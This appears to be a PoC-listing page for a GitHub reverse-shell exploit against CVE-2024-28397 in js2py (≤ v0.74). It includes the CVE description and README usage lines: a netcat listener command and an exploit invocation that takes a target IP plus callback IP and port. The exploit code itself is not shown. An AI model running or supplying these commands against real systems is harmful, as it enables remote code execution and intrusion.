CVE-2024-28397 PoC — Js2Py 安全漏洞

Source

https://github.com/0xPadme/CVE-2024-28397-Reverse-Shell

Associated Vulnerability

Title: Js2Py 安全漏洞 (CVE-2024-28397)
Description:An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.

Description

Reverse shell for CVE-2024-28397.

Readme

# CVE-2024-28397-Reverse-Shell
Reverse shell for CVE-2024-28397.

Exploit works for js2py <= v0.74
## Requirements

- requests library (pip install requests)
- Python3
- Netcat (Or something that you can use as a listener for the reverse shell)

## Usage

##### For listener 
```bash
nc -lnvp 4444
```
##### For exploit 
```bash
python3 exploit.py 10.129.66.160 8000 /run_code --local_ip 10.10.15.11 --local_port 4444 
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →